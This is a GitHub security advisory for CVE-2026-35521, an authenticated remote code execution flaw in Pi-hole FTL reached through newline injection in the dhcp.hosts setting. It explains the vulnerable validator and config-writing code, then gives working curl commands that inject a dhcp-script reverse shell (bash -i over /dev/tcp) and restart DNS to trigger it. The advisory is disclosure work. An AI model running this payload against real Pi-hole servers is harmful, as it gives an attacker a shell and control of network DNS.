Skip to content

Remote Code Execution (RCE) via dhcp.hosts Newline Injection

High
PromoFaux published GHSA-vfmq-jrx3-wv3c Apr 3, 2026

Package

Pi-Hole FTL

Affected versions

>=6.0

Patched versions

6.6

Description

Summary

Security Researcher Julio Ángel Ferrari (aka T0X1CX) discovered that the Pi-hole FTL engine contains a Remote Code Execution (RCE) vulnerability in the DHCP hosts configuration parameter (dhcp.hosts). This vulnerability allows an authenticated attacker to inject arbitrary dnsmasq configuration directives through newline characters, ultimately achieving command execution on the underlying system.

Details

When an administrator configures static DHCP host reservations through the Pi-hole API, the FTL server processes the dhcp.hosts configuration parameter and writes it directly to the dnsmasq configuration file. The value is validated using the validate_stub function, which performs no actual validation beyond basic type checking.

The file src/config/config.c defines the configuration item on lines 850-854:

conf->dhcp.hosts.k = "dhcp.hosts";
conf->dhcp.hosts.h = "Array of static DHCP hosts";
conf->dhcp.hosts.t = CONF_JSON_STRING_ARRAY;
conf->dhcp.hosts.f = FLAG_RESTART_FTL;
conf->dhcp.hosts.c = validate_stub; // Type-based checking + dnsmasq syntax checking

The validate_stub function in src/config/validator.c (lines 20-23) is defined as:

bool __attribute__((const)) validate_stub(union conf_value *val, const char *key, char err[VALIDATOR_ERRBUF_LEN])
{
    return true;
}

This function unconditionally returns true without performing any validation on the input, allowing arbitrary content including newline characters to pass through.

The vulnerable code that writes the configuration to disk is located in src/config/dnsmasq_config.c on lines 710-721:

// Add per-host parameters
if(cJSON_GetArraySize(conf->dhcp.hosts.v.json) > 0)
{
    fputs("# Per host parameters for the DHCP server\n", pihole_conf);
    const int n = cJSON_GetArraySize(conf->dhcp.hosts.v.json);
    for(int i = 0; i < n; i++)
    {
        cJSON *server = cJSON_GetArrayItem(conf->dhcp.hosts.v.json, i);
        if(server != NULL && cJSON_IsString(server))
            fprintf(pihole_conf, "dhcp-host=%s\n", server->valuestring);
    }
    fputs("\n", pihole_conf);
}

The fprintf function writes the user-supplied value directly to the dnsmasq configuration file without sanitizing newline characters. An attacker can exploit this by injecting \n characters followed by malicious dnsmasq directives.

Exploitation Technique

The attack leverages an alternative code path in dnsmasq where the dhcp-script directive is executed using popen() instead of execl(). According to research published at https://blog.nns.ee/2025/07/24/dnsmasq-injection-trick/, when the leasefile-ro option is enabled, dnsmasq passes the dhcp-script value to popen(), which invokes the shell to execute commands.

The relevant code in dnsmasq's src/lease.c (lines 179-187) demonstrates this behavior:

if (daemon->lease_change_command)
{
    strcpy(daemon->dhcp_buff, daemon->lease_change_command);
    strcat(daemon->dhcp_buff, " init");
    leasestream = popen(daemon->dhcp_buff, "r");
}

By injecting both leasefile-ro and a malicious dhcp-script directive, an attacker can achieve arbitrary command execution when the DNS service restarts.

Attack Vector

An attacker sends a PATCH request to the /api/config endpoint with a malicious payload:

curl -X PATCH "http://pi.hole/api/config" \
  -H "Content-Type: application/json" \
  -H "sid: <session_id>" \
  -d '{
    "config": {
      "dhcp": {
        "hosts": ["00:11:22:33:44:55,192.168.1.100\nleasefile-ro\ndhcp-script=/malicious/command ||"]
      }
    }
  }'

The injected payload contains:

  • A valid DHCP host entry: 00:11:22:33:44:55,192.168.1.100
  • A newline character followed by leasefile-ro to enable the popen() code path
  • Another newline followed by dhcp-script=/malicious/command || to execute the command
  • The || at the end ensures that arguments passed by dnsmasq to the script are ignored, allowing any command to execute cleanly.

When the DNS service restarts (either manually or via API), the malicious configuration is loaded and the command is executed.

PoC

Execute the following curl command to obtain a valid login session ID (SID).

curl -s -k -X POST "http://127.0.0.1/api/auth" -H "Content-Type: application/json" -d '{"password":"test"}
image

Once the SID has been obtained, execute the following command to inject the payload.

curl -X PATCH "http://127.0.0.1/api/config" \                                              
  -H "Content-Type: application/json" \
  -H "sid: +sAaKiSy6CXdAZfKItV/9Q=" \
  -d '{
    "config": {
      "dhcp": {
        "hosts": ["00:11:22:33:44:55,192.168.1.100\nleasefile-ro\ndhcp-script=/bin/bash -c '"'"'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"'"'||"]
      }
    }
  }'
image

Now execute the following command to restart the DNS Resolver, and you will receive an interactive session on your listener as the pihole user.

curl -k -X POST "http://127.0.0.1/api/action/restartdns"  -H "sid: +sAaKiSy6CXdAZfKItV/9Q="
image

Additionally, an exploit has been developed for automated exploitation; I can attach it if required.

image

Impact

This vulnerability allows an authenticated attacker with access to the Pi-hole administrative interface to achieve Remote Code Execution (RCE) on the underlying system. Since Pi-hole typically runs with elevated privileges to manage network services, successful exploitation grants the attacker complete control over the server, enabling them to execute arbitrary system commands, install backdoors, exfiltrate sensitive data such as DNS query logs and network configuration, pivot to other systems on the network, or completely compromise the integrity and availability of the DNS infrastructure. In enterprise environments where Pi-hole serves as the primary DNS resolver, this could lead to widespread network disruption, DNS hijacking attacks, or serve as an initial foothold for lateral movement within the organization.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-35521

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of CRLF Sequences ('CRLF Injection')

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs. Learn more on MITRE.

Credits